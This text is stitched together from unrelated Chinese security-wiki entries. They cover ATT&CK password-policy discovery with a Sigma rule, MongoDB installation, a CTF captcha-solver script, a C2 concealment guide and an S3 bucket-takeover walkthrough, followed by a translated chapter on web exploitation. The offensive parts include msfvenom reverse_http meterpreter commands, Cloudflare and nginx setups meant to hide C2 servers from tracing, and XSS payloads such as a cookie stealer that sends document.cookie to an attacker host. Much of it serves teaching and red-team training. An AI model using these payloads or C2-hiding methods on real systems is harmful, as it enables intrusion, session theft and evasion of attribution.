# T1201-win-密码策略发现 ## 来自ATT&CK的描述 用于网络的密码策略是一种强制执行复杂密码的方法,这些密码很难通过暴力猜测或破解。攻击者可以尝试访问有关企业网络中使用的密码策略的详细信息。这将有助于攻击者创建一个通用密码列表,并启动符合策略的字典进行暴力攻击(例如,如果最小密码长度应为8,则不尝试“pass123”等密码;如果锁定设置为6,则不检查每个帐户超过3-4个密码,以免锁定帐户)。 密码策略可以在Windows、Linux和macOS系统上设置和查找。 Windows - net accounts - net accounts /domain Linux - chage -l - cat /etc/pam.d/common-password macOS - pwpolicy getaccountpolicies ## 测试案例 windows下执行net accounts以及net accounts /domain ## 检测日志 windows 安全日志 ## 测试复现 ```dos Microsoft Windows [版本 10.0.14393] (c) 2016 Microsoft Corporation。保留所有权利。 C:\Users\administrator.0DAY>net accounts 强制用户在时间到期之后多久必须注销?: 从不 密码最短使用期限(天): 1 密码最长使用期限(天): 42 密码长度最小值: 7 保持的密码历史记录长度: 24 锁定阈值: 从不 锁定持续时间(分): 30 锁定观测窗口(分): 30 计算机角色: SERVER 命令成功完成。 ``` ## 测试留痕 windows安全日志、进程、命令行参数(windows server 2016) ## 检测规则/思路 ### sigma规则 ```yml title: windows 系统密码策略发现 description: windows server 2016 references: tags: T1016 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\net.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\Windows\System32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: net accounts #进程信息>进程命令行 selection2: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\net1.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\Windows\System32\net.exe' #进程信息>创建者进程名称 Processcommandline: C:\Windows\system32\net1 accounts #进程信息>进程命令行 condition: selection1 and selection2 level: low ``` ### 建议 针对域内密码策略枚举命令net accounts /domain的检测可从以下事件ID **(域控主机)**入手检测:4672特殊登录、4624登录、5140文件共享、5145详细文件共享、4661SAM文件、4658其他对象访问事件。当然也可以针对域内主机执行net accounts /domain命令进行检测,利用域控主机记录的登陆IP进行关联。 监视可能正在用于密码策略发现的工具和命令行参数的进程。将该活动与源系统中的其他可疑活动关联起来,以减少来自有效用户或管理员活动的潜在误报。攻击者可能会在操作的早期尝试查找密码策略,并且该活动可能与其他发现活动一起发生。 ## 参考推荐 MITRE-ATT&CK-T1201 <https://attack.mitre.org/techniques/T1201/>
sec-knowleage
# MpngoDB > 基于分布式文件存储的数据库 ### 简介 - MongoDB:是一个数据库软件,有时候我们简称它叫一个数据库,但是其实一个 MongoDB 运行起来,可以里面同时运行多个数据库 - Database: 数据库。一般做法是,一个项目对应一个数据库 - Collection: 集合。类似于关系型数据库下的表的概念,例如全班同学信息 - Document:文档。一个集合中会包含多个文档(一个文档中存储一个同学的信息)。文档对应关系型数据库中的 记录 这个概念 #### 举个例子 一个项目叫 facebook ,那么我们就建立一个 database 来存储这个项目的所有数据。 一个数据库中,可以创建多个集合,比如 users 。 一个 users 集合中,可以包含多个文档,每个文档中存储一个 user 的信息(信息可以有多项:email, name, brithday ...)。 ### 安装 #### 苹果系统上,用 HomeBrew 安装 ``` brew install mongodb ``` ### Window 系统上安装 1. 下载 MongoDB:[点击下载](https://www.mongodb.com/dr/fastdl.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-3.4.4-signed.msi/download) 2. 创建环境变量: > 控制面板→系统→高级系统设置→环境变量→用户变量→path→编辑→新建→路径→完成 选择`path`,点击编辑,点击新建,将下面代码放入 ``` C:\Program Files\MongoDB\Server\3.4\bin ``` #### 在 Linux 安装 ##### 第一步:导入 MongoDB 公共 GPG Key ``` sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 0C49F3730359A14518585931BC711F9BA15703C6 ``` ##### 第二步:创建列表文件 ``` echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.4.list ``` 创建一个适合你的 Ubuntu 版本列表文件 ##### 第三步:重新加载本地包数据库 ``` sudo apt-get update ``` 安装(升级)本地包数据库 ##### 第四步:安装 MongoDB ``` sudo apt-get install -y mongodb-org ``` 安装最新的稳定版本的 MongoDB #### 在 Linux 下安装的方法二 第一步:下载 MongoDB ``` curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-amazon-3.4.6.tgz ``` 第二步:解压 ``` tar -zxvf mongodb-linux-x86_64-amazon-3.4.6.tgz ``` 第三步:将解压包拷贝到指定目录 ``` mv mongodb-linux-x86_64-amazon-3.4.6 / /usr/local/mongodb ``` ### 使用 首先创建一个文件来存储数据 ``` mkdir data/db ``` 启动mongodb ``` mongod --dbpath=./data/db ``` ### 参考 - MongoDB 的官网: [点击进入](https://www.mongodb.com/) - MongoDB 中文网: [点击进入](http://www.mongodb.org.cn/) - MongoDB 中文社区: [点击进入](http://mongoing.com/)
sec-knowleage
## YACS2 - yet another captcha solver (PPC) ###ENG [PL](#pl-version) The task looks very similar to the one from last year - we have a captcha recorded in a .wav file. The captcha contains only numbers. We are supposed to solve 3000 of them to get the flag. Apart from that the captcha is distorted by a constant background noise. Example: [captcha](captcha.wav) We solved this with very little effort, using solver we developed last year. The fun part is that this solver was not good enough last year and we had to make a different one, but this time it worked out-of-the-box. Instead of trying to remove the noise and then match some byte patterns for numbers, we just used Google Speech Recognition :) So we just download the captcha, solve it, send response and repeat this 3000 times to get the flag. ```python import codecs import os import urllib import urllib2 import speech_recognition as sr url = 'http://yacst2.2016.volgactf.ru:8090/captcha' opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ')) post_opener = urllib2.build_opener(urllib2.HTTPHandler()) post_opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ')) def download_wav(): wav = opener.open(url).read() with codecs.open("captcha.wav", mode="wb") as output: output.write(wav) def convert_to_speech2(): r = sr.Recognizer() with sr.WavFile('captcha.wav') as source: audio = r.record(source) return r.recognize(audio) def send_response(result): try: data = urllib.urlencode({'captcha': result}) return post_opener.open(url, data=data).read() except: pass def removeFile(): os.remove("captcha.wav") def main(): for i in range(3000): try: print(i) download_wav() result = convert_to_speech2() print(result) removeFile() response = send_response(result) except: pass main() ``` After the last one we are redirected to the flag: `VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A}` ###PL version Zadanie jest bardzo podobne do zadania z zeszłego roku - mamy dźwiękowy kod captcha zapisany w pliku .wav. Captcha zawiera tylko liczby. Mamy do rozwiązania 3000 kodów aby uzyskać flagę. Dodatkowo captcha jest zniekształcona poprzez dodanie stałego dźwięku w tle. Przykład: [captcha](captcha.wav) Rozwiązaliśmy to zadanie bardzo niewielkim nakładem pracy, używając solvera napisanego rok temu. Co ciekawe, rok temu ten solver nie był wystarczająco dobry i musieliśmy zrobić inny, ale tym razem zadziałał od razu. Zamiast próbować usuwać zniekształcenie a następnie dopasowywać wzorce bajtów do numerów w captchy, użyliśmy Google Speech Recognition :) Pobieramy więc captche, rozwiązujemy ją i odsyłamy wynik, to wszystko powtarzamy 3000 razy i dostajemy flagę. ```python import codecs import os import urllib import urllib2 import speech_recognition as sr url = 'http://yacst2.2016.volgactf.ru:8090/captcha' opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ')) post_opener = urllib2.build_opener(urllib2.HTTPHandler()) post_opener.addheaders.append(('Cookie', 'JSESSIONID=s4Re0bJa4po1O8wPS9yGxF9FKxO4afQEnJbhhjiZ')) def download_wav(): wav = opener.open(url).read() with codecs.open("captcha.wav", mode="wb") as output: output.write(wav) def convert_to_speech2(): r = sr.Recognizer() with sr.WavFile('captcha.wav') as source: audio = r.record(source) return r.recognize(audio) def send_response(result): try: data = urllib.urlencode({'captcha': result}) return post_opener.open(url, data=data).read() except: pass def removeFile(): os.remove("captcha.wav") def main(): for i in range(3000): try: print(i) download_wav() result = convert_to_speech2() print(result) removeFile() response = send_response(result) except: pass main() ``` Po ostatnim kodzie zostajemy przekierowani do flagi: `VolgaCTF{Sound IS L1ke M@th if A+B=C THEN C-B=A}`
sec-knowleage
# CTR CTR全称为计数器模式(Counter mode),该模式由 Diffe 和 Hellman 设计。 ## 加密 ## 解密 ## 题目 - 2017 star ctf ssss - 2017 star ctf ssss2
sec-knowleage
# C2 实验 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## C2隐藏技术 ### CDN **准备** - 一台 vultr centos7 机器 - 一个域名 - cloudflare 账号 **挂上 cdn** 在域名购买后配置,cf 中的域名解析,在 cf 中配置 A 记录, 记录 IP 为 vps 地址 名称随意,如下 ping 测试 104.21.49.218 是 cf 的IP **端口限制** Cloudflare 支持的 HTTP 端口是: - 80 - 8080 - 8880 - 2052 - 2082 - 2086 - 2095 Cloudflare 支持的 HTTPS 端口是: - 443 - 2053 - 2083 - 2087 - 2096 - 8443 **CS** 监听器配置域名 生成payload,在靶机上执行 显示的目标是 172.67.195.13 ,这个IP也是 cloudflare 的 ip cs上也显示了目标 但是这种情况还是会暴露域名的,如果域名备案或者有其他特征,依然会被溯源。 **MSF** payload 使用 reverse_http ``` msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<域名> LPORT=80 -f exe > shell.exe ``` 起监听 ``` use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_http set lhost <域名> set LPORT 80 exploit -j ``` --- ### 重定向 #### nginx 反代 CS **准备** - 一台 vultr centos7 机器 **使用 Malleable C2 文件** 访问 https://github.com/threatexpress/malleable-c2 ,下载 jquery-c2.4.0.profile 上传至 CS 目录,检查可用性 ```bash chmod +x c2lint ./c2lint jquery-c2.4.0.profile ``` 无误后,运行 cs **cs 配置监听** **搭建 nginx** ```bash wget https://nginx.org/download/nginx-1.16.1.tar.gz tar -zxvf nginx-1.16.1.tar.gz cd nginx-1.16.1/ ./configure make make install cd /usr/local/nginx/sbin ./nginx ``` 注:源代码安装你的默认目录在 /usr/local/nginx 下,配置文件在 conf/ 中,不要搞错了 访问 IP,可以看到一个欢迎页 修改 nginx.conf ```diff cd /usr/local/nginx/conf vim nginx.conf + location ~*/jquery { + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_pass http://127.0.0.1:8080; + } + location / { + proxy_pass http://www.baidu.com/; + } ``` 重启 nginx ``` cd /usr/local/nginx/sbin && ./nginx -s reload ``` 这个时候访问 nginx 服务默认会转到 baidu, 加路径 /jquery-3.3.1.min.js 生成 payload 测试一下 --- ## Source & Reference - [反溯源-cs和msf域名上线](https://xz.aliyun.com/t/5728) - [使用CDN隐藏c2流量](http://blog.sern.site:8000/2020/08/03/%E4%BD%BF%E7%94%A8CDN%E9%9A%90%E8%97%8Fc2%E6%B5%81%E9%87%8F/) - [cobaltstrike配置nginx反向代理](https://mp.weixin.qq.com/s/OK0m9lln5-XjHHkWLwMxHg) - [Cobalt Strike with CloudFlare](https://mp.weixin.qq.com/s/d6hu8YE-SGy-eruIWOwbXg) - [博客使用Cloudflare和Nginx的相关配置](https://jayshao.com/cloudflare-nginx-ssl/) - [利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现](https://shanfenglan.blog.csdn.net/article/details/107789018)
sec-knowleage
--- title: Bucket 接管 --- <center><h1>Bucket 接管</h1></center> --- 假如在进行渗透时,发现目标的一个子域显示如下内容 </br> <img width="800" src="/img/1650005828.png"></br> 通过 cname 记录,可以判断出这是一个 Amazon 的 S3,而且页面显示 NoSuchBucket,说明这个 Bucket 可以接管的,同时 Bucket 的名称在页面中也告诉了我们,为 `test.teamssix.com` 那么我们就直接在 AWS 控制台里创建一个名称为 `test.teamssix.com` 的 Bucket 就可以接管了 </br> <img width="800" src="/img/1650005891.png"></br> 创建完 Bucket 后,再次访问发现就显示 AccessDenied 了,说明该 Bucket 已经被我们接管了。 </br> <img width="800" src="/img/1650005911.png"></br> 将该 Bucket 设置为公开,并上传个文件试试 </br> <img width="1000" src="/img/1650005931.png"></br> 在该子域名下访问这个 test.txt 文件 </br> <img width="800" src="/img/1650005950.png"></br> 可以看到通过接管 Bucket 成功接管了这个子域名的权限 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# 第3章 抛传——Web 应用程序漏洞利用 > 译者:[@Snowming](https://github.com/Snowming04) > > 校对者:[@鶇](http://wp.blkstone.me)、[@leitbogioro](https://github.com/leitbogioro/)、@哈姆太郎、@匿名jack、[@Victor Zhu](https://zhuzhuuu.com/) ![](../images/chapter_3/3-1.PNG) 在过去几年中,我们看到了一些严重的、面向外部网络的 Web 攻击。从 Apache Struts 2开发框架漏洞(尽管 [Equifax 公司因 Apache Struts 2安全漏洞而造成数据泄露](http://bit.ly/2HokWi0)还未被确认),到美国快餐公司 [Panera Bread 数据泄露](http://bit.ly/2qwEMxH),到 [Uber 信息泄露](http://ubr.to/2hIO2tZ),攻击几乎波及了社会上的一切。毫无疑问,我们还会继续看到许多严重的面向公网的端点攻击。 整个安全行业以周期性模式运行。如果从 OSI 模型的不同层级来看,就会发现攻击每隔一年就会转移到不同的层。就 Web 而言,早在21世纪初,就有大量的 SQLi 和 RFI 类型的漏洞利用事件。然而,一旦公司开始加强其外部网络环境并开始进行外部渗透测试,我们作为攻击者,就要转而针对“第8层”攻击 —— 将社会工程学攻击(网络钓鱼)作为第一切入点。现在,正如我们看到的,各个组织通过新一代终端防护/防火墙来提高其内部安全性,所以我们的重点又转回了应用程序的漏洞利用。我们还看到应用程序、API 和编程语言的复杂性大幅增加,使得许多旧的甚至是新的漏洞重新出现。 由于本书更多地针对红队行动的概念,因此我们不会深入研究所有不同的 Web 漏洞或是如何手动利用它们。这本书并不是一本字典类型的参考工具书。你将关注的是红队队员和坏人在现实世界中所能看到的漏洞,例如那些危害到 PII(个人验证信息)、IP、网络等的漏洞。 对于那些正在寻找非常详细的 Web 渗透测试方法的人,我总是建议从 OWASP 测试指南开始( http://bit.ly/2GZbVZd 和 https://www.owasp.org/images/1/19/OTGv4.pdf )。 请注意,由于在上本书中提到的许多攻击都没有改变,因此我们不会在之后的练习中重复 SQLMap、IDOR 攻击和 CSRF 漏洞等示例。相反,我们将专注于新的关键问题。 ## 漏洞赏金平台 在我们开始学习如何利用 Web 应用程序漏洞之前,让我们先谈谈漏洞赏金平台。我们见到的最常见的问题是,“我怎样才能在完成训练后继续学习?”最好的建议是针对真实的上线了的系统进行练习。你可以一直做靶场训练,但如果没有真实的入侵经验,就很难成长。 但有一点需要注意:平均而言,在你开始不断发现漏洞之前,需要大约3-6个月的沉淀时间。我们的建议是:不要感到沮丧,与其他漏洞赏金猎人保持交流,而且不要忘记可以去看看老一点的漏洞赏金项目。 比较常见的漏洞赏金平台是 [HackerOne](https://www.hackerone.com),[BugCrowd](https://bugcrowd.com/programs) 和 [SynAck](https://www.synack.com/red-team/)。还有很多[其他的平台](https://www.vulnerability-lab.com/list-of-bug-bounty-programs.php)。这些平台可以支付从零到两万美元以上之间的奖励。 我的许多学生觉得开始寻找漏洞是件令人畏缩却步的事情。这真的需要你投入其中,每天花几个小时做这件事情,并专注于理解如何利用第六感找到漏洞。一般来说,开始的时候可以看看无报酬的漏洞赏金项目(因为专业的赏金猎人不会注意它们)或像 Yahoo 这样大型的老漏洞赏金项目。这些类型的站点往往具有很大的规模和许多遗留的旧服务器。正如在以前的书中提到的,确定测试范围很重要,寻找赏金漏洞也不例外。许多平台都指定了哪些可以做,哪些不可以做(比如禁止扫描、禁止自动化工具、哪些域名可以被攻击等)。有时你很幸运,他们允许你测试 *.company.com,但其他时候可能仅限于一个 FQDN(完全限定的域名)。 让我们以 eBay 为例,他们有一个公开的漏洞赏金平台。在他们的[漏洞赏金平台](http://pages.ebay.com/securitycenter/Researchers.html)上,他们说明了挖洞指南、符合条件的域名、符合条件的漏洞、不包括的项目、如何报告漏洞和白帽子公开致谢: ![](../images/chapter_3/3-2.png) 如何向公司报告漏洞通常与寻找漏洞本身同样重要。你要确保向公司提供尽可能多的细节。这将包括漏洞的类型、严重性/关键性、利用漏洞所采取的步骤、屏幕截图,甚至用到的 POC(proof of concept)。如果你需要一些帮助来创建风格统一的报告,可以查看和使用下面的报告生成表单: https://buer.haus/breport/index.php 。 ![](../images/chapter_3/3-3.png) 我以前有运营自己漏洞赏金平台,有一件事需要注意的是,我在平台上看到了一些情况,研究人员会在验证漏洞时过于深入目标系统(超过了正常验证漏洞的范围)。例如包括在发现 SQL 注入后对数据库拖库,在接管子域后挂黑页填写他们认为有趣的内容,甚至在初始远程代码执行漏洞之后在生产环境中横向渗透。这些案例可能会导致法律问题,并有可能让联邦调查局找上门来。因此,请你最好谨慎判断,确认好测试范围,并记住,如果直觉觉得它是非法的,那么它可能就是非法的。 ## 网络攻击介绍——Cyber Space Kittens 在完成侦察和发现之后,你回顾所有你发现的不同站点。浏览结果时,你没有发现常见的可进行漏洞利用的服务器或配置错误的应用程序。没有任何 Apache Tomcat 服务器或 Heartbleed/ShellShock,看起来他们修补了所有 Apache Strut 问题和 CMS 应用程序漏洞。 你的第六感直觉开始发挥作用,你开始研究他们的客户支持系统。感觉有些地方就是不对劲,但是在哪里呢? 对于本章中的所有攻击,都可以使用一个本书定制的 VMWare 虚拟机来复现这些实验。这个虚拟机可以在以下网站免费下载: * http://thehackerplaybook.com/get.php?type=csk-web 为搭建演示 Web 实验环境(客户支持系统): * 从以下位置下载本书的 VMWare 虚拟机: * http://thehackerplaybook.com/get.php?type=csk-web * 下载在实验环境里要用到的完整命令列表: * https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt * Bit.ly 链接: http://bit.ly/2qBDrFo * 启动并登录 VM(虚拟机) * 当 VM 完全启动时,它应该显示应用程序的当前 IP 地址。**你无需登录进 VM,所以登录密码也不需要**。你可以自行入侵这个程序。 * 由于这是一个托管在你自己系统上的 Web 应用程序,因此我们在攻击端 Kali 系统上创建一个主机名记录: * 在我们的攻击端 Kali 虚拟机上,让我们编辑 host 文件以指向我们的存在漏洞的应用程序(客户支持系统),以便可以通过 hostname 和 IP 来引用应用程序: * gedit /etc/hosts * 添加客户支持系统虚拟机的 IP * [客户支持系统的 IP]chat * 现在,打开 Kali 的浏览器并访问 http://chat:3000/ 。如果一切正常,你应该能够看到 NodeJS 自定义的客户支持系统程序。 Web 部分的命令和攻击可能非常冗长和复杂。为了方便起见,我在这里列出了每个实验需要的所有命令:https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt > `译者注:`<br>译者在尝试复现此实验时,发现没有获取到 ipv4 地址,后来切换了一下网卡设置,把“桥接模式”改成 NAT 就解决了。如果有读者遇到一样的问题可以参考此做法。<br>参考资料:https://github.com/cheetz/THP-ChatSupportSystem/issues/1 ### 红队的 Web 应用程序攻击 前两本书着重于如何有效地测试 Web 应用程序 - 这一次会有所不同。我们将跳过许多基本攻击,并接触现实世界中使用的攻击手法。 由于这是一本实用性较强的书,所以我们不会详细讨论 Web 应用程序测试的所有技术细节。然而,这并不意味着这些细节应该被忽略。Web 应用程序测试的一个很好的资源是 `Open Web Application Security Project`,简称 OWASP。OWASP 侧重于应用程序的安全开发和用户教育。每隔几年,OWASP 都会编制并发布一个最常见漏洞的清单—— http://bit.ly/2HAhoGR 。一个更深层次的测试指南位于这里:http://bit.ly/2GZbVZd 。OWASP 的文档将带你了解要查找的漏洞类型、风险以及如何利用它们。这里有一个很好的清单文档:http://bit.ly/2qyA9m1 。 由于我的许多读者都试图进入安全领域,所以我想快速的提一件事:如果你想进行渗透测试工作,你至少要理解 OWASP Top 10 的方方面面,这是至关重要的。你不仅应该知道它们是什么,而且还应该根据风险类型以及如何检测它们了解一些好的示例。现在,让我们回到如何入侵 CSK 上来 。 ### 聊天支持系统实验 将被攻击的聊天支持系统是交互式的,它突出了新的和旧的漏洞。正如你将看到的,对于以下许多实验,我们会提供不同版本的带有聊天支持系统的自定义虚拟机。 应用程序本身是用 Node.js 编写的。为什么选择 Node?作为渗透测试人员,我们要注意的是,它是使用率增长最快的应用程序之一。由于许多开发人员似乎都非常喜欢 Node,所以我觉得理解将 JavaScript 作为后端代码运行的安全含义是很重要的。 **什么是 Node?** “Node.js® 是一个基于 Chrome V8引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。”[Node.js](https://nodejs.org/en/) 的包生态系统,即 NPM,是世界上最大的开源库生态系统。 在最基本的层面上,Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和跨平台的特性,所以它可以通过统一堆栈来大大简化项目。虽然 Node.js 不是 Web 服务器,但它允许服务器(可以用 JavaScript 编程的东西)存在于实际 Web 客户端之外的环境中。 优点: * 非常快 * 单线程 JavaScript 环境,可以充当独立的 Web 应用程序服务器 * Node.js 不是协议;它是一个用 JavaScript 编写的 Web 服务器 * NPM 代码仓库拥有近50万个免费、可重用的 Node.js 代码包,这使它成为世界上最大的包管理器 随着 Node.js 在过去几年变得如此流行,对于渗透测试人员/红队成员来说,理解应该寻找什么突破口以及如何攻击这些应用程序是非常重要的。例如,一位研究人员发现,弱 NPM 凭证使他能够获取 13% 的 NPM 包的编辑和发布权限。通过依赖链,预计有52% 的 NPM 包是易受攻击的。<br> [https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-been-hacked-via-weak-credentials/] 在下面的示例中,我们的实验室将使用 Node.js 作为应用程序的基础,它将使用 [Express 框架](https://expressjs.com/)作为我们的 Web 服务器。然后,我们将把 [Pug](https://pugjs.org/) 模板引擎添加到我们的 Express 框架中。这类似于我们现在在新开发的应用程序中经常见到的东西。 ![](../images/chapter_3/3-4.png) Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和移动应用程序提供了一组强大的功能,因此你无需进行大量工作。使用名为 `Middlewares` 的模块,你可以添加第三方认证或服务,如 Facebook 身份验证或 Stripe 支付服务。 Pug,正式名称为 Jade,是一个服务器端模板引擎,你可以(但不是必须)与 Express 一起使用它。Jade 用于在服务器上以编程方式生成 HTML 页面并将其发送给客户机。 让我们开始攻击 CSK 并启动聊天支持系统虚拟机。 ## Cyber Space Kittens:聊天支持系统 你偶然发现了面向外部网络的 CSK 聊天支持系统。当你慢慢筛选所有页面并了解底层系统时,你会在应用程序中寻找其弱点。你需要在服务器中找到第一个入口点,以便可以转入入侵生产环境。 你首先浏览了所有漏洞扫描程序和 Web 应用程序扫描程序的报告结果,但是一无所获。看起来这家公司经常运行常见的漏洞扫描器并修补了大部分问题。现在入侵的关键突破口在于代码问题、错误配置和逻辑缺陷。你还注意到此应用程序正在运行 NodeJS,这是一种最近很流行的语言。 ### 设置你的 Web 应用程序攻击机器 虽然对于红队要面对的 Web 应用程序,并没有什么完美的入侵方法,但是你需要的一些基本工具包括: * 用浏览器武装自己。许多浏览器的行为都非常不同,尤其是复杂的 XSS 规避机制: * Firefox(我的最爱) * Chrome * Safari * Wappalyzer:一种跨平台的实用程序,可以揭示网站上使用的技术。它可以检测内容管理系统,电子商务平台,Web 框架,服务器软件,分析工具等等。 * https://wappalyzer.com/ * BuiltWith:一个网站分析工具。在查找页面时,BuiltWith 会返回它在页面上可以找到的所有技术。BuiltWith 的目标是帮助开发人员,研究人员和设计人员找出正在使用的技术页面,这可以帮助他们决定自己采用哪些技术。 * https://builtwith.com/ * Retire.JS:扫描 Web 应用程序所使用的易受攻击的 JavaScript 库。Retire.js 的目标是帮助你检测具有已知漏洞的版本的使用情况。 * https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom? * Burp Suite(约350美元):虽然这个商业工具有点贵,但绝对物有所值,对于渗透测试人员和红队队员来说。它的好处来自附加组件,模块化设计和用户开发基础。如果你买不起 Burp,OWASP ZAP(免费)是一个很好的替代品。 ### 分析 Web 应用程序 在我们进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么代码?我们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器查看。在下面的图像中,当加载聊天应用程序时,我们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。我们还可以在Wappalyzer 中看到应用程序正在使用 Express 和 Node.js。 ![](../images/chapter_3/3-5.png) 盲目攻击网站之前了解目标应用程序可以帮助你提供更好的思路。这也有助于入侵可能有 WAF 的目标站点,允许你使用更多的攻击手法。 ### 网络探测 在之前的书中,我们详细介绍了如何使用 Burp Suite 以及如何对站点进行渗透测试。我们将跳过很多设置基础知识,并将更多精力放在攻击网站上。 在这一点上,我们将假设你已经设置好了 Burp Suite(免费或付费),并且你使用的是本书的 Kali 镜像。一旦我们了解了底层系统,我们就需要识别所有端点。我们仍然需要运行与之前相同的探测工具。 * [Burp Suite](https://portswigger.net/burp) * 爬虫:在免费和付费版本中,Burp Suite 都有一个很棒的爬虫工具。 * 内容探测:如果你使用的是付费版本的 Burp Suite,那么最受欢迎的探测工具之一就是 Discover Content。这是一个智能高效的工具,可以查找目录和文件。你还可以为扫描指定多种不同的配置。 * 主动扫描:运行所有参数的自动漏洞扫描并测试多个 Web 漏洞。 * [OWASP ZAP](http://bit.ly/2IVNaO2) * 类似于 Burp,但完全开源和免费。具有类似的探测和主动扫描功能。 * Dirbuster * 一个很久以前就被开发出的旧工具,用于发现 Web 应用程序的文件/文件夹,但现在仍然可以顺利的完成工作。 * 目标网址:http://chat:3000 * 字典: * /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt * [GoBuster](https://github.com/OJ/gobuster) * 非常轻量级、快速的目录和子域名爆破工具 * gobuster -u http://chat:3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s 200,301,307 -t 20 你的字典列表非常重要。我最喜欢使用的一个汇总的字典列表是一个名为 raft 的旧字典,它是许多开源项目的集合。你可以在这里找到这些和其他有价值的字典列表:https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content (已包含在本书的 Kali 镜像中)。 现在既然我们已经完成了概述,让我们进行一些攻击吧。从红队的角度来看,我们正在寻找可以主动攻击的漏洞,并为我们提供最大的帮助。如果我们正在进行评估或渗透测试,我们可能会报告漏洞扫描程序中的 SSL 问题,默认 Apache 页面或其他漏洞扫描程序发现的不可利用的漏洞等。但是,在我们的红队工作中,我们可以完全忽略这些,并专注于能使我们获得高级访问权限,shell 或 转储 PII 的攻击。 ### XSS 跨站脚本攻击 在这一点上,我们都曾经见过并利用过跨站点脚本攻击(XSS)。使用传统的 XSS 攻击测试网站上的每个变量的方式:<script>alert(1)</script>,对于漏洞赏金平台来说可能很有用,但我们可以做更多吗?我们可以使用哪些工具和方法来更好地利用这些攻击? 我们都知道 XSS 攻击是客户端攻击,允许攻击者创建特定的 Web 请求从而将恶意代码注入响应中。这通常可以通过客户机和服务器端的适当输入验证来修复,但这绝不是那么容易。为什么这么说?因为 XSS 漏洞由多种原因造成的。从编码不规范到不理解框架,有时候应用程序变得过于复杂,就很难理解一个输入点的安全性。 因为仅仅弹窗确实没有真正的危害,让我们从一些基本类型的 XSS 攻击开始: * Cookie 窃取XSS: ```HTML <script>document.write('<img src="http//<YourIP>/Stealer.php?cookie='%2B document.cookie %2B '"/>');</script> ``` * 强制下载文件: ```HTML <script>var link = document.createElement('a'); link.href ='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; link.download = '';document.body.appendChild(link); link.click();</script> ``` * 重定向用户: ```HTML <script>window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";</script> ``` * 其他脚本以启用键盘记录器,拍照等: * http://www.xss-payloads.com/payloads-list.html?c#category=capture #### 经过混淆的 XSS payload 和 XSS Polyglot 现在,标准的 XSS payload 通常仍然有效,但我们确实会遇到一些应用程序过滤字符或应用程序有 WAF 防护的情况。有两个很好的资源可以帮助你开始制作混淆的 XSS payload 攻击: * https://github.com/foospidy/payloads/tree/master/other/xss * https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 有时在行动期间,你可能会遇到简单的 XSS 过滤器,它们会查找像 `<script>` 这样的字符串。混淆 XSS payload 是一种选择,但一定要注意并非所有 JavaScript payload 都需要打开和关闭 `<script>` 标签。有一些 HTML 事件属性在触发时执行 JavaScript( https://www.w3schools.com/tags/ref_eventattributes.asp )。这意味着任何专门针对 Script 标签的规则都是无效的。例如,下列这些执行 JavaScript 的 HTML 事件属性就不使用 `<script>` 标签: * `<b onmouseover=alert('XSS')>Click Me!</b>` * `<svg onload=alert(1)>` * `<body onload="alert('XSS')">` * `<img src="http://test.cyberspacekittens.com" onerror=alert(document.cookie);>` 你可以通过访问应用程序来尝试 CSK 应用程序中的每个 HTML 实体攻击:http://chat:3000/ (记得修改 `/etc/host` 文件以指向与虚拟机 IP 的聊天)。进入后,注册一个帐户,登录应用程序,然后转到聊天功能( http://chat:3000/chatchannel/1 )。尝试不同的实体攻击和经过混淆的 payload。 ![](../images/chapter_3/3-6.png) XSS 的其他优秀资源: * 第一个是由 @jackmasa 制作的思维导图。这是一个很棒的文档,它根据输入点的位置来分解不同的 XSS payload。虽然不再在 JackMasa GitHub 页面上,但是这里有一个[副本](http://bit.ly/2qvnLEq)。 * 另一个很好的资源,讨论哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。 ![](../images/chapter_3/3-7.png) 如你所见,尝试在应用程序上查找每一个 XSS 有时是很烦人的。这是因为易受攻击的参数受到代码功能、不同类型的 HTML 标记、应用程序类型和不同类型的过滤的影响。试图找到初始 XSS 